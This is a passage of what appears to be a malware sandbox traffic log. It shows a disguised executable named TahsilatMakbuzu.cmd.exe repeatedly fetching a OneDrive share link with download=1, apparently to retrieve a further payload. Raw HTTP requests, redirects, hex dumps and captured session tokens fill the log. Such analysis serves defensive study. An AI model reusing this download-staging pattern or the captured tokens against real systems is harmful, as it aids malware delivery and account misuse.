2024-07-04 18:16:14 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49737	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:14 UTC	1284	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzczLCJuYmYiOjE3MjAxMTY5NzMsImdpdmVuX25hbWUiOiI1MSIsImZhbWlseV9uYW1lIjoiQ2F0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiNTgyMGIwNTFjOTkzNjEzZjY5MmYzOTQ0NGZiNzYyNGYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk3M30.SkckBvwmESEqY9_pp-lR4rfPpur5YgWZOKHDMutIji54XfvzF8gZyHw7vmhGlybV1TyCPxmTYfPOKe7T8EwkkeK4xoL6_XhnP1r_UpJZBG48n6W7743xpdpozUdMHTtQO_IPcOv5v83DXG5NmXjeL7zBVazqi2NYwHzIHlHFfYTm5p_BJ6mDLLngMTMf92vUDzLTwDudNqDuZRqRTBCPE2fNP-0Nvy7TAqWEdQ1hPc16qgVdK3MrgIxXlB6UZVhPGNfsDkGDcQmEx7QHaKx8jpI8eZCUb4MxM9XB3jYjDW76AvBcrx3Ofm-OPm_qfJKplUAkm1zF8KR-nQSR0NRMLA; E=P:WQFtY1Wc3Ig=:cBp7i5W4gIwJuPlwEiNHDJM0TsZyT7ZPWurKLkYY5JY=:F; xid=5cfb20bf-5718-4b60-800a-dd527b442040& [TRUNCATED]
2024-07-04 18:16:14 UTC	1926	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,54,27922,0,149517,26 X-SharePointHealthScore: 2 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 2e1239a1-30cf-6000-0c5c-2ab9a6e57062 request-id: 2e1239a1-30cf-6000-0c5c-2ab9a6e57062 MS-CV: oTkSLs8wAGAMXCq5puVwYg.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 29 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 43CB3D2BFF5C4E54A262C800F99E798A Ref B: BN3EDGE0505 Ref C: 2024-07-04T18:16:14Z Date: Thu, 04 Jul 2024 18:16:13 GMT Connection: close
2024-07-04 18:16:14 UTC	2500	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:16:14 UTC	8192	IN	Data Raw: 31 39 38 2c 2d 31 37 37 38 33 39 31 39 31 2c 37 30 34 34 32 34 33 39 31 2c 2d 31 31 31 35 35 35 38 37 38 37 2c 34 34 31 31 34 32 33 35 35 2c 2d 31 36 31 38 32 33 33 35 38 33 2c 2d 34 36 37 35 31 38 34 35 38 2c 38 30 36 36 30 38 34 39 35 2c 37 31 36 35 35 30 32 2c 33 32 37 35 34 31 34 38 35 2c 2d 31 33 34 37 32 31 30 31 36 32 2c 32 30 31 36 33 35 32 37 36 38 2c 31 33 39 35 32 32 32 39 31 2c 2d 31 35 33 34 32 33 31 34 37 37 2c 2d 35 39 33 34 33 39 32 33 38 2c 2d 34 36 36 34 31 34 36 37 30 2c 2d 31 33 39 38 33 34 37 35 38 39 2c 2d 31 32 34 33 33 39 36 31 36 31 2c 31 34 37 31 34 34 35 35 38 35 2c 31 32 33 33 30 39 32 39 31 30 2c 2d 39 39 37 31 36 39 31 35 38 2c 38 39 37 30 35 38 36 34 38 2c 2d 31 32 31 34 37 30 35 36 33 34 2c 2d 38 37 34 32 35 31 35 32 34 2c Data Ascii: 198,-177839191,704424391,-1115558787,441142355,-1618233583,-467518458,806608495,7165502,327541485,-1347210162,2016352768,139522291,-1534231477,-593439238,-466414670,-1398347589,-1243396161,1471445585,1233092910,-997169158,897058648,-1214705634,-874251524,
2024-07-04 18:16:14 UTC	3884	IN	Data Raw: 45 37 43 34 45 30 34 22 3a 74 72 75 65 2c 22 33 46 38 32 45 41 35 30 2d 35 46 34 38 2d 34 36 44 33 2d 42 44 38 39 2d 31 39 30 30 46 38 43 39 42 45 41 34 22 3a 74 72 75 65 2c 22 31 30 42 30 42 39 32 46 2d 44 44 44 34 2d 34 32 42 46 2d 42 34 46 39 2d 46 30 43 32 46 33 30 30 43 35 31 32 22 3a 74 72 75 65 2c 22 34 31 37 39 35 45 39 31 2d 43 33 39 36 2d 34 33 33 34 2d 42 43 32 39 2d 31 32 41 33 38 37 46 37 46 46 35 42 22 3a 74 72 75 65 2c 22 41 31 35 37 43 32 31 41 2d 32 32 36 45 2d 34 43 41 39 2d 41 34 34 35 2d 32 33 43 41 39 45 35 39 43 44 42 37 22 3a 74 72 75 65 2c 22 35 34 44 39 36 32 39 31 2d 46 42 42 45 2d 34 36 42 45 2d 39 46 36 32 2d 42 45 43 37 32 32 30 31 45 46 43 32 22 3a 74 72 75 65 2c 22 31 37 34 37 41 36 35 37 2d 42 37 30 38 2d 34 37 44 31 2d 41 Data Ascii: E7C4E04":true,"3F82EA50-5F48-46D3-BD89-1900F8C9BEA4":true,"10B0B92F-DDD4-42BF-B4F9-F0C2F300C512":true,"41795E91-C396-4334-BC29-12A387F7FF5B":true,"A157C21A-226E-4CA9-A445-23CA9E59CDB7":true,"54D96291-FBBE-46BE-9F62-BEC72201EFC2":true,"1747A657-B708-47D1-A
2024-07-04 18:16:15 UTC	8192	IN	Data Raw: 65 2c 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 Data Ascii: e,"308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD26
2024-07-04 18:16:15 UTC	8192	IN	Data Raw: 35 45 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 Data Ascii: 5ED-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":tr
2024-07-04 18:16:15 UTC	8192	IN	Data Raw: 2d 34 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 Data Ascii: -4F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF4
2024-07-04 18:16:15 UTC	8192	IN	Data Raw: 32 41 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 Data Ascii: 2A-E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7
2024-07-04 18:16:15 UTC	8192	IN	Data Raw: 34 32 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 Data Ascii: 42955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8
2024-07-04 18:16:15 UTC	8192	IN	Data Raw: 3a 74 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 Data Ascii: :true,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F
2024-07-04 18:16:15 UTC	8192	IN	Data Raw: 41 41 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 Data Ascii: AA8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49738	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:15 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:16:15 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BN6PPF3C963DA16 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: Qg2woV+RuUGZMExpSWZZ6g.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 2396FF0D92494A59A9DB235256D0F604 Ref B: EWR30EDGE0209 Ref C: 2024-07-04T18:16:15Z Date: Thu, 04 Jul 2024 18:16:15 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49739	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:16 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:16:17 UTC	2219	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:Bf9dZVWc3Ig=:A0xan4QkKxMo0K+15OZQ0e5c561uaoR5O3CZSE66gW8=:F; domain=.live.com; path=/ Set-Cookie: xid=d4f90ade-cd5c-4ba7-bd50-f524e99e4b73&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:36:16 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzc2LCJuYmYiOjE3MjAxMTY5NzYsImdpdmVuX25hbWUiOiI2MCIsImZhbWlseV9uYW1lIjoiRmluY2giLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiI0ZjA1YWE5Njc3MmI3MTA4Mjc5YWJiNzFhMzA5YzU1MCIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE2OTc2fQ.eyrJmY3RnpNJCKkKLPC227iqynvSpI7xSWuslNUyekFcCMu1E0KvdcJUbRiHIiOXWQLFnVCXM0CZMjYyvdeRYq0yKWB8Rd7TFkUYEcsbqUuykKEqh2xbsYsY2e24zeWt0ljKAR5xO39yIGJ1JbfkldGr22Pk8nxdsNQX9YLnuAku3DdSDcn5xAvZKXRdaJOr8NYRPlGqiR-VwTk4aJ1wpyN0yybqfH-7Ze-QXIJ8zpDiQUsM5H7B9_FRy3oL8EcJqQiyLSFE6nqIN2qo-SHHGWLnRO147m_MTs3Mes3l0TSURqJP5Rfow2zsnvK_P8JebBtm4EOGpCcoZ5kHItXYGA; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:16:17 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-x822c X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: C6D80772610741DCAFCBB89E099D1676 Ref B: BN3EDGE0719 Ref C: 2024-07-04T18:16:16Z Date: Thu, 04 Jul 2024 18:16:16 GMT Connection: close
2024-07-04 18:16:17 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49740	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:17 UTC	1287	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: 